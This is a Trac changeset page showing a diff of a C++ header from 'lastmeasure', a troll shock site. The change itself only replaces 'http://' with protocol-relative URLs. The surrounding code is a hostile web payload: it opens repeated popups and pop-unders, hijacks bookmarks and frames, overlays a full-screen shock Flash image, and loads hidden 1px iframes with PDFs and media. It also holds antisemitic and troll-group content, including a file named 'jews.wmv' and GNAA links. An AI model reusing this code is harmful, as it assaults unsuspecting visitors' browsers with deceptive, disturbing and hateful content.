Changeset 639 for trollforge/lastmeasure


Ignore:
Timestamp:
01/20/12 00:53:37 (16 months ago)
Author:
sam
Message:

Minor cleanup. Replace http:// with so that we can do HTTPS one day.

File:
1 edited

Legend:

Unmodified
Added
Removed
  • trollforge/lastmeasure/server/lmresource.h

    r638 r639  
    140140    "    </script>\r\n" 
    141141    "    <link rel=\"icon\" type=\"image/x-icon\" " 
    142              "href=\"http://" << host << "/favicon.ico\" />\r\n" 
     142             "href=\"//" << host << "/favicon.ico\" />\r\n" 
    143143    "    <link rel=\"shortcut icon\" type=\"image/x-icon\" " 
    144              "href=\"http://" << host << "/favicon.ico\" />\r\n" 
     144             "href=\"//" << host << "/favicon.ico\" />\r\n" 
    145145    "    <style type=\"text/css\">\r\n" 
    146146    "      html { height: 100%; width: 100%; overflow: hidden; }\r\n" 
     
    149149    "  </head>\r\n" 
    150150 
    151     "  <body style=\"background-image: url(http://" << host 
     151    "  <body style=\"background-image: url(//" << host 
    152152          << RandomAsset(IMAGES_PREFIX) << "); background-color: #FFFFFF;\"" 
    153153    "\r\n        onload=\"bookmark(); noframes(); load_goatse(); document.getElementById('goatse').innerHTML = ''; movew0w(); "; 
     
    171171        } 
    172172 
    173     data << 
     173        data << 
    174174 
    175175    "<table>\r\n" 
     
    177177    "        <td valign=\"middle\">\r\n" 
    178178    "            <div style=\"text-align: center;\">\r\n" 
    179     "                <a href=\"http://www.gnaa.eu/\"><img src=\"http://" << host << "/gnaa.png\" alt=\"GNAA\" /></a>\r\n" 
     179    "                <a href=\"http://www.gnaa.eu/\"><img src=\"//" << host << "/gnaa.png\" alt=\"GNAA\" /></a>\r\n" 
    180180    "                <br />\r\n" 
    181181    "                <br />\r\n"; 
    182182 
    183     if (is_popup) 
    184     { 
    185         flash = "second_opener.swf"; 
    186     } else { 
    187         flash = "first_opener.swf"; 
    188     } 
    189  
    190     if(!is_ie6) 
    191     { 
    192         data << 
     183        if (!is_ie6) 
     184        { 
     185            flash = is_popup ? "second_opener.swf" : "first_opener.swf"; 
     186            data << 
    193187 
    194188        "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" " 
    195189        "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\">\r\n" 
    196         "    <param name=\"movie\" value=\"http://" << host << "/flash/" << flash << "\" />\r\n" 
     190        "    <param name=\"movie\" value=\"//" << host << "/flash/" << flash << "\" />\r\n" 
    197191        "    <param name=\"quality\" value=\"high\" />\r\n" 
    198192        "</object>\r\n"; 
    199     } 
    200  
    201     data << 
    202  
     193        } 
     194 
     195        data << 
    203196    "            </div>\r\n" 
    204197    "        </td>\r\n" 
     
    212205            "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" " 
    213206            "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"1\" height=\"1\" id=\"hey\">\r\n" 
    214             "    <param name=\"movie\" value=\"http://" << host << "/flash/hey.swf\" />\r\n" 
     207            "    <param name=\"movie\" value=\"//" << host << "/flash/hey.swf\" />\r\n" 
    215208            "    <param name=\"quality\" value=\"high\" />\r\n" 
    216209            "</object>\r\n" 
     
    223216                 i = FindAssetIndex("/audio/", i)) 
    224217            { 
    225                 data << "    audio[" << n << "] = 'http://" 
     218                data << "    audio[" << n << "] = '//" 
    226219                     << host << "" << staticnames[i] << "';\r\n"; 
    227220            } 
     
    238231            "</div>\r\n" 
    239232            "<div>\r\n" 
    240             "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/lm.pdf\"></iframe>\r\n" 
    241             "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/lm2.pdf\"></iframe>\r\n" 
    242             "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/jews.wmv\"></iframe>\r\n" 
    243             "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/gnaa.mp3\"></iframe>\r\n" 
     233            "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/lm.pdf\"></iframe>\r\n" 
     234            "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/lm2.pdf\"></iframe>\r\n" 
     235            "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/jews.wmv\"></iframe>\r\n" 
     236            "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/gnaa.mp3\"></iframe>\r\n" 
    244237            "<div id=\"goatse\">yes hello</div>\r\n" 
    245238            "<br />\r\n" << Random::Keywords(128) << "</div>\r\n"; 
    246239        } 
    247240 
    248     data << "  </body>\r\n"; 
    249 /* XXX: We should just LM them here, right? -- Leon */ 
    250         data << "<html><body><p>You are asking for " 
    251              << resource << ". You could also ask for <a href=\"http://" 
    252              << host << "/" << rand() 
    253              << "\">something else</a>.</p>" 
    254              << "<img src=\"http://" << host << "" << RandomAsset(IMAGES_PREFIX) << "\" />" 
    255              << "</body></html>"; 
     241        data << "  </body>\r\n"; 
     242 
    256243        return Response(data.str(), "text/html"); 
    257244    } 
     
    353340 "goatseflash  = \"<div id='hello' style='z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;'>\";\r\n" 
    354341 "goatseflash += \"  <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0' width='100%' height='100%'>\";\r\n" 
    355  "goatseflash += \"    <param name='movie' value='http://" << host << "/flash/hello.swf' />\";\r\n" 
     342 "goatseflash += \"    <param name='movie' value='//" << host << "/flash/hello.swf' />\";\r\n" 
    356343 "goatseflash += \"    <param name='wmode' value='transparent' />\";\r\n" 
    357344 "goatseflash += \"  </object>\";\r\n" 
     
    487474             i = FindAssetIndex(IMAGES_PREFIX, i)) 
    488475        { 
    489             ret << "    images[" << n << "] = 'http://" << host << "" << staticnames[i] << "';\r\n"; 
     476            ret << "    images[" << n << "] = '//" << host << "" << staticnames[i] << "';\r\n"; 
    490477        } 
    491478 
     
    552539        "    function shellscript() {\r\n" 
    553540        "        for(i = 0; i < 5; i++) {\r\n" 
    554         "            open('http://" << host << "/index.php?popup=1','_blank','scrollbar=no');\r\n" 
     541        "            open('//" << host << "/index.php?popup=1','_blank','scrollbar=no');\r\n" 
    555542        "        }\r\n" 
    556543        "    }\r\n" 
     
    626613 
    627614        "function doPopUnder() {\r\n" 
    628         "    var win = popunder('http://" << host << "/');\r\n" 
     615        "    var win = popunder('//" << host << "/');\r\n" 
    629616        "    return true;\r\n" 
    630617        "}\r\n"; 
Note: See TracChangeset for help on using the changeset viewer.